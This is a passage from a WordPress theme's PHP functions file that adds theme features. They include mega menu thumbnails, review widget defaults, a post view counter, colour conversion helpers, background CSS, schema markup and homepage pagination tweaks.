1404add_filter( 'wpmm_container_selector', 'mts_megamenu_parent_element' );
1405
1406/**
1407 * Change the image size of WP Mega Menu's thumbnails.
1408 *
1409 * @param $thumbnail_html
1410 * @param $post_id
1411 *
1412 * @return string
1413 */
1414function mts_megamenu_thumbnails( $thumbnail_html, $post_id ) {
1415 $thumbnail_html = '<div class="wpmm-thumbnail">';
1416 $thumbnail_html .= '<a title="'.get_the_title( $post_id ).'" href="'.get_permalink( $post_id ).'">';
1417 if(has_post_thumbnail($post_id)):
1418 $thumbnail_html .= get_the_post_thumbnail($post_id, 'sociallyviral-widgetfull', array('title' => ''));
1419 else:
1420 $thumbnail_html .= '<img src="'.get_template_directory_uri().'/images/nothumb-sociallyviral-widgetfull.png" alt="'.__('No Preview', 'sociallyviral').'" class="wp-post-image" />';
1421 endif;
1422 $thumbnail_html .= '</a>';
1423
1424 // WP Review
1425 $thumbnail_html .= (function_exists('wp_review_show_total') ? wp_review_show_total(false) : '');
1426
1427 $thumbnail_html .= '</div>';
1428
1429 return $thumbnail_html;
1430}
1431add_filter( 'wpmm_thumbnail_html', 'mts_megamenu_thumbnails', 10, 2 );
1432
1433/*-----------------------------------------------------------------------------------*/
1434/* WP Review Support
1435/*-----------------------------------------------------------------------------------*/
1436
1437/**
1438 * Set default colors for new reviews.
1439 *
1440 * @param $colors
1441 *
1442 * @return array
1443 */
1444function mts_new_default_review_colors( $colors ) {
1445 $colors = array(
1446 'color' => '#FFCA00',
1447 'fontcolor' => '#fff',
1448 'bgcolor1' => '#151515',
1449 'bgcolor2' => '#151515',
1450 'bordercolor' => '#151515'
1451 );
1452 return $colors;
1453}
1454add_filter( 'wp_review_default_colors', 'mts_new_default_review_colors' );
1455
1456/**
1457 * Set default location for new reviews.
1458 *
1459 * @param $position
1460 *
1461 * @return string
1462 */
1463function mts_new_default_review_location( $position ) {
1464 $position = 'top';
1465 return $position;
1466}
1467add_filter( 'wp_review_default_location', 'mts_new_default_review_location' );
1468
1469/**
1470 * Thumbnail Upscale
1471 * Enables upscaling of thumbnails for small media attachments,
1472 * to make sure it fits into it's supposed location.
1473 * Cannot be used in conjunction with Retina Support.
1474 *
1475 * @param $default
1476 * @param $orig_w
1477 * @param $orig_h
1478 * @param $new_w
1479 * @param $new_h
1480 * @param $crop
1481 *
1482 * @return array|null
1483 */
1484function mts_image_crop_dimensions( $default, $orig_w, $orig_h, $new_w, $new_h, $crop ) {
1485
1486 if( !$crop || ($orig_w == 512 && $orig_h == 512) )
1487 return null; // let the wordpress default function handle this
1488
1489 $aspect_ratio = $orig_w / $orig_h;
1490 $size_ratio = max( $new_w / $orig_w, $new_h / $orig_h );
1491
1492 $crop_w = round( $new_w / $size_ratio );
1493 $crop_h = round( $new_h / $size_ratio );
1494
1495 $s_x = floor( ( $orig_w - $crop_w ) / 2 );
1496 $s_y = floor( ( $orig_h - $crop_h ) / 2 );
1497
1498 return array( 0, 0, ( int ) $s_x, ( int ) $s_y, ( int ) $new_w, ( int ) $new_h, ( int ) $crop_w, ( int ) $crop_h );
1499}
1500add_filter( 'image_resize_dimensions', 'mts_image_crop_dimensions', 10, 6 );
1501
1502
1503/*-----------------------------------------------------------------------------------*/
1504/* Post view count
1505/* AJAX is used to support caching plugins - it is possible to disable with filter
1506/* It is also possible to exclude admins with another filter
1507/*-----------------------------------------------------------------------------------*/
1508
1509/**
1510 * Append JS to content for AJAX call on single.
1511 *
1512 * @param $content
1513 *
1514 * @return string
1515 */
1516function mts_view_count_js( $content ) {
1517 $id = get_the_ID();
1518 $use_ajax = apply_filters( 'mts_view_count_cache_support', true );
1519
1520 $exclude_admins = apply_filters( 'mts_view_count_exclude_admins', false ); // pass in true or a user capability
1521 if ($exclude_admins === true) {
1522 $exclude_admins = 'edit_posts';
1523 }
1524 if ($exclude_admins && current_user_can( $exclude_admins )) {
1525 return $content; // do not count post views here
1526 }
1527
1528 if (is_single()) {
1529 if ($use_ajax) {
1530 // enqueue jquery
1531 wp_enqueue_script( 'jquery' );
1532
1533 $url = admin_url( 'admin-ajax.php' );
1534 $content .= "
1535<script type=\"text/javascript\">
1536jQuery(document).ready(function($) {
1537 $.post('".esc_js($url)."', {action: 'mts_view_count', id: '".esc_js($id)."'});
1538});
1539</script>";
1540
1541 }
1542
1543 if (!$use_ajax) {
1544 mts_update_view_count($id);
1545 }
1546 }
1547
1548 return $content;
1549}
1550add_filter('the_content', 'mts_view_count_js');
1551
1552/**
1553 * Call mts_update_view_count on AJAX.
1554 */
1555function mts_ajax_mts_view_count() {
1556 // do count
1557 $post_id = absint( $_POST['id'] );
1558 mts_update_view_count( $post_id );
1559}
1560add_action('wp_ajax_mts_view_count', 'mts_ajax_mts_view_count');
1561add_action('wp_ajax_nopriv_mts_view_count','mts_ajax_mts_view_count');
1562
1563/**
1564 * Update the view count of a post.
1565 *
1566 * @param $post_id
1567 */
1568function mts_update_view_count( $post_id ) {
1569 $count = get_post_meta( $post_id, '_mts_view_count', true );
1570 update_post_meta( $post_id, '_mts_view_count', $count + 1 );
1571
1572 do_action( 'mts_view_count_after_update', $post_id );
1573}
1574
1575/**
1576 * Convert color format from HEX to HSL.
1577 * @param $color
1578 *
1579 * @return array
1580 */
1581function mts_hex_to_hsl( $color ){
1582
1583 // Sanity check
1584 $color = mts_check_hex_color($color);
1585
1586 // Convert HEX to DEC
1587 $R = hexdec($color[0].$color[1]);
1588 $G = hexdec($color[2].$color[3]);
1589 $B = hexdec($color[4].$color[5]);
1590
1591 $HSL = array();
1592
1593 $var_R = ($R / 255);
1594 $var_G = ($G / 255);
1595 $var_B = ($B / 255);
1596
1597 $var_Min = min($var_R, $var_G, $var_B);
1598 $var_Max = max($var_R, $var_G, $var_B);
1599 $del_Max = $var_Max - $var_Min;
1600
1601 $L = ($var_Max + $var_Min)/2;
1602
1603 if ($del_Max == 0) {
1604 $H = 0;
1605 $S = 0;
1606 } else {
1607 if ( $L < 0.5 ) $S = $del_Max / ( $var_Max + $var_Min );
1608 else $S = $del_Max / ( 2 - $var_Max - $var_Min );
1609
1610 $del_R = ( ( ( $var_Max - $var_R ) / 6 ) + ( $del_Max / 2 ) ) / $del_Max;
1611 $del_G = ( ( ( $var_Max - $var_G ) / 6 ) + ( $del_Max / 2 ) ) / $del_Max;
1612 $del_B = ( ( ( $var_Max - $var_B ) / 6 ) + ( $del_Max / 2 ) ) / $del_Max;
1613
1614 if ($var_R == $var_Max) $H = $del_B - $del_G;
1615 else if ($var_G == $var_Max) $H = ( 1 / 3 ) + $del_R - $del_B;
1616 else if ($var_B == $var_Max) $H = ( 2 / 3 ) + $del_G - $del_R;
1617
1618 if ($H<0) $H++;
1619 if ($H>1) $H--;
1620 }
1621
1622 $HSL['H'] = ($H*360);
1623 $HSL['S'] = $S;
1624 $HSL['L'] = $L;
1625
1626 return $HSL;
1627}
1628
1629/**
1630 * Convert color format from HSL to HEX.
1631 *
1632 * @param array $hsl
1633 *
1634 * @return string
1635 */
1636function mts_hsl_to_hex( $hsl = array() ){
1637
1638 list($H,$S,$L) = array( $hsl['H']/360,$hsl['S'],$hsl['L'] );
1639
1640 if( $S == 0 ) {
1641 $r = $L * 255;
1642 $g = $L * 255;
1643 $b = $L * 255;
1644 } else {
1645
1646 if($L<0.5) {
1647 $var_2 = $L*(1+$S);
1648 } else {
1649 $var_2 = ($L+$S) - ($S*$L);
1650 }
1651
1652 $var_1 = 2 * $L - $var_2;
1653
1654 $r = round(255 * mts_huetorgb( $var_1, $var_2, $H + (1/3) ));
1655 $g = round(255 * mts_huetorgb( $var_1, $var_2, $H ));
1656 $b = round(255 * mts_huetorgb( $var_1, $var_2, $H - (1/3) ));
1657 }
1658
1659 // Convert to hex
1660 $r = dechex($r);
1661 $g = dechex($g);
1662 $b = dechex($b);
1663
1664 // Make sure we get 2 digits for decimals
1665 $r = (strlen("".$r)===1) ? "0".$r:$r;
1666 $g = (strlen("".$g)===1) ? "0".$g:$g;
1667 $b = (strlen("".$b)===1) ? "0".$b:$b;
1668
1669 return $r.$g.$b;
1670}
1671
1672/**
1673 * Convert color format from Hue to RGB.
1674 *
1675 * @param $v1
1676 * @param $v2
1677 * @param $vH
1678 *
1679 * @return mixed
1680 */
1681function mts_huetorgb( $v1,$v2,$vH ) {
1682 if( $vH < 0 ) {
1683 $vH += 1;
1684 }
1685
1686 if( $vH > 1 ) {
1687 $vH -= 1;
1688 }
1689
1690 if( (6*$vH) < 1 ) {
1691 return ($v1 + ($v2 - $v1) * 6 * $vH);
1692 }
1693
1694 if( (2*$vH) < 1 ) {
1695 return $v2;
1696 }
1697
1698 if( (3*$vH) < 2 ) {
1699 return ($v1 + ($v2-$v1) * ( (2/3)-$vH ) * 6);
1700 }
1701
1702 return $v1;
1703
1704}
1705
1706/**
1707 * Get the 6-digit hex color.
1708 *
1709 * @param $hex
1710 *
1711 * @return mixed|string
1712 */
1713function mts_check_hex_color( $hex ) {
1714 // Strip # sign is present
1715 $color = str_replace("#", "", $hex);
1716
1717 // Make sure it's 6 digits
1718 if( strlen($color) == 3 ) {
1719 $color = $color[0].$color[0].$color[1].$color[1].$color[2].$color[2];
1720 }
1721
1722 return $color;
1723}
1724
1725/**
1726 * Check if color is considered light or not.
1727 * @param $color
1728 *
1729 * @return bool
1730 */
1731function mts_is_light_color( $color ){
1732
1733 $color = mts_check_hex_color( $color );
1734
1735 // Calculate straight from rbg
1736 $r = hexdec($color[0].$color[1]);
1737 $g = hexdec($color[2].$color[3]);
1738 $b = hexdec($color[4].$color[5]);
1739
1740 return ( ( $r*299 + $g*587 + $b*114 )/1000 > 130 );
1741}
1742
1743/**
1744 * Darken color by given amount in %.
1745 *
1746 * @param $color
1747 * @param int $amount
1748 *
1749 * @return string
1750 */
1751function mts_darken_color( $color, $amount = 10 ) {
1752
1753 $hsl = mts_hex_to_hsl( $color );
1754
1755 // Darken
1756 $hsl['L'] = ( $hsl['L'] * 100 ) - $amount;
1757 $hsl['L'] = ( $hsl['L'] < 0 ) ? 0 : $hsl['L']/100;
1758
1759 // Return as HEX
1760 return mts_hsl_to_hex($hsl);
1761}
1762
1763/**
1764 * Lighten color by given amount in %.
1765 *
1766 * @param $color
1767 * @param int $amount
1768 *
1769 * @return string
1770 */
1771function mts_lighten_color( $color, $amount = 10 ) {
1772
1773 $hsl = mts_hex_to_hsl( $color );
1774
1775 // Lighten
1776 $hsl['L'] = ( $hsl['L'] * 100 ) + $amount;
1777 $hsl['L'] = ( $hsl['L'] > 100 ) ? 1 : $hsl['L']/100;
1778
1779 // Return as HEX
1780 return mts_hsl_to_hex($hsl);
1781}
1782
1783/**
1784 * Generate css from background theme option.
1785 *
1786 * @param $option_id
1787 *
1788 * @return string|void
1789 */
1790function mts_get_background_styles( $option_id ) {
1791
1792 $mts_options = get_option( MTS_THEME_NAME );
1793
1794 if ( ! isset( $mts_options[ $option_id ]) ) {
1795 return;
1796 }
1797
1798 $background_option = $mts_options[ $option_id ];
1799 $output = '';
1800 $background_image_type = isset( $background_option['use'] ) ? $background_option['use'] : '';
1801
1802 if ( isset( $background_option['color'] ) && !empty( $background_option['color'] ) && 'gradient' !== $background_image_type ) {
1803 $output .= 'background-color:'.$background_option['color'].';';
1804 }
1805
1806 if ( !empty( $background_image_type ) ) {
1807
1808 if ( 'upload' == $background_image_type ) {
1809
1810 if ( isset( $background_option['image_upload'] ) && !empty( $background_option['image_upload'] ) ) {
1811 $output .= 'background-image:url('.$background_option['image_upload'].');';
1812 }
1813 if ( isset( $background_option['repeat'] ) && !empty( $background_option['repeat'] ) ) {
1814 $output .= 'background-repeat:'.$background_option['repeat'].';';
1815 }
1816 if ( isset( $background_option['attachment'] ) && !empty( $background_option['attachment'] ) ) {
1817 $output .= 'background-attachment:'.$background_option['attachment'].';';
1818 }
1819 if ( isset( $background_option['position'] ) && !empty( $background_option['position'] ) ) {
1820 $output .= 'background-position:'.$background_option['position'].';';
1821 }
1822 if ( isset( $background_option['size'] ) && !empty( $background_option['size'] ) ) {
1823 $output .= 'background-size:'.$background_option['size'].';';
1824 }
1825
1826 } else if ( 'gradient' == $background_image_type ) {
1827
1828 $from = $background_option['gradient']['from'];
1829 $to = $background_option['gradient']['to'];
1830 $direction = $background_option['gradient']['direction'];
1831
1832 if ( !empty( $from ) && !empty( $to ) ) {
1833
1834 $output .= 'background: '.$background_option['color'].';';
1835
1836 if ( 'horizontal' == $direction ) {
1837
1838 $output .= 'background: -moz-linear-gradient(left, '.$from.' 0%, '.$to.' 100%);';
1839 $output .= 'background: -webkit-gradient(linear, left top, right top, color-stop(0%,'.$from.'), color-stop(100%,'.$to.'));';
1840 $output .= 'background: -webkit-linear-gradient(left, '.$from.' 0%,'.$to.' 100%);';
1841 $output .= 'background: -o-linear-gradient(left, '.$from.' 0%,'.$to.' 100%);';
1842 $output .= 'background: -ms-linear-gradient(left, '.$from.' 0%,'.$to.' 100%);';
1843 $output .= 'background: linear-gradient(to right, '.$from.' 0%,'.$to.' 100%);';
1844 $output .= "filter: progid:DXImageTransform.Microsoft.gradient( startColorstr='".$from."', endColorstr='".$to."',GradientType=1 );";
1845
1846 } else {
1847
1848 $output .= 'background: -moz-linear-gradient(top, '.$from.' 0%, '.$to.' 100%);';
1849 $output .= 'background: -webkit-gradient(linear, left top, left bottom, color-stop(0%,'.$from.'), color-stop(100%,'.$to.'));';
1850 $output .= 'background: -webkit-linear-gradient(top, '.$from.' 0%,'.$to.' 100%);';
1851 $output .= 'background: -o-linear-gradient(top, '.$from.' 0%,'.$to.' 100%);';
1852 $output .= 'background: -ms-linear-gradient(top, '.$from.' 0%,'.$to.' 100%);';
1853 $output .= 'background: linear-gradient(to bottom, '.$from.' 0%,'.$to.' 100%);';
1854 $output .= "filter: progid:DXImageTransform.Microsoft.gradient( startColorstr='".$from."', endColorstr='".$to."',GradientType=0 );";
1855 }
1856 }
1857
1858 } else if ( 'pattern' == $background_image_type ) {
1859
1860 $output .= 'background-image:url('.get_template_directory_uri().'/images/'.$background_option['image_pattern'].'.png'.');';
1861 }
1862 }
1863
1864 return $output;
1865}
1866
1867/**
1868 * Add link to theme options panel inside admin bar
1869 */
1870function mts_admin_bar_link() {
1871 /** @var WP_Admin_bar $wp_admin_bar */
1872 global $wp_admin_bar;
1873
1874 if( current_user_can( 'edit_theme_options' ) ) {
1875 $wp_admin_bar->add_menu( array(
1876 'id' => 'mts-theme-options',
1877 'title' => 'Theme Options',
1878 'href' => admin_url( 'themes.php?page=theme_options' )
1879 ) );
1880 }
1881}
1882add_action( 'admin_bar_menu', 'mts_admin_bar_link', 65 );
1883
1884
1885/**
1886 * Retrieves the attachment ID from the file URL
1887 *
1888 * @param $image_url
1889 *
1890 * @return string
1891 */
1892function mts_get_image_id_from_url( $image_url ) {
1893 global $wpdb;
1894 $attachment = $wpdb->get_col( $wpdb->prepare( "SELECT ID FROM $wpdb->posts WHERE guid='%s';", $image_url ) );
1895 if ( isset( $attachment[0] ) ) {
1896 return $attachment[0];
1897 } else {
1898 return false;
1899 }
1900}
1901
1902/**
1903 * Remove new line tags from string
1904 *
1905 * @param $text
1906 *
1907 * @return string
1908 */
1909function mts_escape_text_tags( $text ) {
1910 return (string) str_replace( array( "\r", "\n" ), '', strip_tags( $text ) );
1911}
1912
1913/**
1914 * Remove new line tags from string
1915 *
1916 * @return string
1917 */
1918function mts_single_post_schema() {
1919
1920 if ( is_singular( 'post' ) ) {
1921
1922 global $post, $mts_options;
1923
1924 if ( has_post_thumbnail( $post->ID ) && !empty( $mts_options['mts_logo'] ) ) {
1925
1926 $logo_id = mts_get_image_id_from_url( $mts_options['mts_logo'] );
1927
1928 if ( $logo_id ) {
1929
1930 $images = wp_get_attachment_image_src( get_post_thumbnail_id( $post->ID ), 'full' );
1931 $logo = wp_get_attachment_image_src( $logo_id, 'full' );
1932 $excerpt = mts_escape_text_tags( $post->post_excerpt );
1933 $content = $excerpt === "" ? mb_substr( mts_escape_text_tags( $post->post_content ), 0, 110 ) : $excerpt;
1934
1935 $args = array(
1936 "@context" => "http://schema.org",
1937 "@type" => "BlogPosting",
1938 "mainEntityOfPage" => array(
1939 "@type" => "WebPage",
1940 "@id" => get_permalink( $post->ID )
1941 ),
1942 "headline" => mts_escape_text_tags( $post->post_title ),
1943 "image" => array(
1944 "@type" => "ImageObject",
1945 "url" => $images[0],
1946 "width" => $images[1],
1947 "height" => $images[2]
1948 ),
1949 "datePublished" => get_the_time( DATE_ISO8601, $post->ID ),
1950 "dateModified" => get_post_modified_time( DATE_ISO8601, __return_false(), $post->ID ),
1951 "author" => array(
1952 "@type" => "Person",
1953 "name" => mts_escape_text_tags( get_the_author_meta( 'display_name', $post->post_author ) )
1954 ),
1955 "publisher" => array(
1956 "@type" => "Organization",
1957 "name" => get_bloginfo( 'name' ),
1958 "logo" => array(
1959 "@type" => "ImageObject",
1960 "url" => esc_url( $mts_options['mts_logo'] ),
1961 "width" => $logo[1],
1962 "height" => $logo[2]
1963 )
1964 ),
1965 "description" => $content
1966 );
1967
1968 echo '<script type="application/ld+json">' , PHP_EOL;
1969 echo wp_json_encode( $args, JSON_UNESCAPED_UNICODE | JSON_UNESCAPED_SLASHES | JSON_PRETTY_PRINT ) , PHP_EOL;
1970 echo '</script>' , PHP_EOL;
1971 }
1972 }
1973 }
1974}
1975add_action( 'wp_head', 'mts_single_post_schema' );
1976
1977if ( ! empty( $mts_options['mts_async_js'] ) ) {
1978 function mts_js_async_attr($tag){
1979
1980 if (is_admin())
1981 return $tag;
1982
1983 $async_files = apply_filters( 'mts_js_async_files', array(
1984 get_template_directory_uri() . '/js/ajax.js',
1985 get_template_directory_uri() . '/js/contact.js',
1986 get_template_directory_uri() . '/js/customscript.js',
1987 get_template_directory_uri() . '/js/jquery.magnific-popup.min.js',
1988 get_template_directory_uri() . '/js/layzr.min.js',
1989 get_template_directory_uri() . '/js/owl.carousel.min.js',
1990 get_template_directory_uri() . '/js/parallax.js',
1991 get_template_directory_uri() . '/js/retina.js',
1992 get_template_directory_uri() . '/js/sticky.js',
1993 get_template_directory_uri() . '/js/zoomout.js',
1994 ) );
1995
1996 $add_async = false;
1997 foreach ($async_files as $file) {
1998 if (strpos($tag, $file) !== false) {
1999 $add_async = true;
2000 break;
2001 }
2002 }
2003
2004 if ($add_async)
2005 $tag = str_replace( ' src', ' async="async" src', $tag );
2006
2007 return $tag;
2008 }
2009 add_filter( 'script_loader_tag', 'mts_js_async_attr', 10 );
2010}
2011
2012if ( ! empty( $mts_options['mts_remove_ver_params'] ) ) {
2013 function mts_remove_script_version( $src ){
2014
2015 if ( is_admin() )
2016 return $src;
2017
2018 $parts = explode( '?ver', $src );
2019 return $parts[0];
2020 }
2021 add_filter( 'script_loader_src', 'mts_remove_script_version', 15, 1 );
2022 add_filter( 'style_loader_src', 'mts_remove_script_version', 15, 1 );
2023}
2024
2025/*
2026 * Add one post on homepage first page and remove one post on homepage other pages
2027 */
2028function mts_home_posts_per_page( $query ) {
2029
2030 if ( $query->is_admin() || ! $query->is_home() || ! $query->is_main_query() )
2031 return $query;
2032
2033 global $mts_options;
2034
2035 $posts_per_page = get_option( 'posts_per_page' );
2036 $paged = $query->get( 'paged' );
2037
2038 if ( 0 == $paged ) {
2039 if ( 'h1' === $mts_options['mts_home_layout'] && is_active_sidebar('widget-home') && !empty( $mts_options['mts_home_layout_big_post'] ) ) {
2040 $posts_per_page = (int) $posts_per_page - 2;
2041 } else if (
2042 !empty( $mts_options['mts_home_layout_big_post'] )
2043 || ( 'h1' === $mts_options['mts_home_layout'] && is_active_sidebar('widget-home') && empty( $mts_options['mts_home_layout_big_post'] ) )
2044 ) {
2045 $posts_per_page = (int) $posts_per_page - 1;
2046 }
2047 } else {
2048 if ( !empty($mts_options['mts_home_layout_big_post']) ) {
2049 $posts_per_page = (int) $posts_per_page - 1;
2050 if ( 'h1' === $mts_options['mts_home_layout'] && is_active_sidebar('widget-home') ) {
2051 $page_offset = (int) ( (int) ( (int) $query->query_vars['paged'] - 1 ) * (int) $posts_per_page ) - 1;
2052 $query->set('offset', $page_offset );
2053 }
2054 } else {
2055 if ( 'h1' === $mts_options['mts_home_layout'] && is_active_sidebar('widget-home') ) {
2056 $page_offset = (int) ( (int) ( (int) $query->query_vars['paged'] - 1 ) * (int) $posts_per_page ) - 1;
2057 $query->set('offset', $page_offset );
2058 }
2059 }
2060 }
2061 if ( 0 < $posts_per_page ) {
2062 $query->set( 'posts_per_page', $posts_per_page );
2063 }
2064
2065 //$query->set('ignore_sticky_posts', true );
2066
2067 return $query;
2068}
2069add_action( 'pre_get_posts', 'mts_home_posts_per_page' );
2070
2071
2072function mts_home_adjust_found_posts( $found_posts, $query ) {
2073
2074 if ( $query->is_home() && $query->is_main_query() ) {
2075
2076 global $mts_options;
2077 if ( 'h1' === $mts_options['mts_home_layout'] && is_active_sidebar('widget-home') ) {
2078 $posts_per_page = get_option( 'posts_per_page' );
2079
2080 if ( !empty( $mts_options['mts_home_layout_big_post'] ) ) {
2081 $found_posts_without_first_page = ( $found_posts - ( $posts_per_page - 2 ) );
2082 $actual_num_of_pages = (int) ceil( $found_posts_without_first_page/( $posts_per_page - 1 ) + 1 );
2083
2084 if ( 1 < $actual_num_of_pages ) {
2085 if ( 0 == $query->get( 'paged' ) ) {
2086 return $actual_num_of_pages * ( $posts_per_page - 2 );
2087 } else {
2088 return $actual_num_of_pages * ( $posts_per_page - 1 );
2089 }
2090 }
2091 } else {
2092 $found_posts_without_first_page = ( $found_posts - ( $posts_per_page - 1 ) );
2093 $actual_num_of_pages = (int) ceil( $found_posts_without_first_page/$posts_per_page + 1 );
2094
2095 if ( 1 < $actual_num_of_pages && 0 == $query->get( 'paged' ) ) {
2096 return $actual_num_of_pages * ( $posts_per_page - 1 );
2097 }
2098 }
2099 }
2100 }
2101
2102 return $found_posts;
2103}
2104add_filter('found_posts', 'mts_home_adjust_found_posts', 1, 2 );
2105
2106// Map images and categories in group field after demo content import
2107add_filter( 'mts_correct_single_import_option', 'mts_correct_homepage_sections_import', 10, 3 );
2108function mts_correct_homepage_sections_import( $item, $key, $data ) {
2109
2110 if ( !in_array( $key, array( 'mts_custom_slider', 'mts_featured_categories' ) ) ) return $item;
2111
2112 $new_item = $item;
2113
2114 if ( 'mts_custom_slider' === $key ) {
2115
2116 foreach( $item as $i => $image ) {
2117
2118 $id = $image['mts_custom_slider_image'];
2119
2120 if ( is_numeric( $id ) ) {
2121
2122 if ( array_key_exists( $id, $data['posts'] ) ) {
2123
2124 $new_item[ $i ]['mts_custom_slider_image'] = $data['posts'][ $id ];
2125 }
2126
2127 } else {
2128
2129 if ( array_key_exists( $id, $data['image_urls'] ) ) {
2130
2131 $new_item[ $i ]['mts_custom_slider_image'] = $data['image_urls'][ $id ];
2132 }
2133 }
2134 }
2135
2136 } else { // mts_featured_categories
2137
2138 foreach( $item as $i => $category ) {
2139
2140 $cat_id = $category['mts_featured_category'];
2141
2142 if ( is_numeric( $cat_id ) && array_key_exists( $cat_id, $data['terms']['category'] ) ) {
2143
2144 $new_item[ $i ]['mts_featured_category'] = $data['terms']['category'][ $cat_id ];
2145 }
2146 }
2147 }
2148
2149 return $new_item;
2150}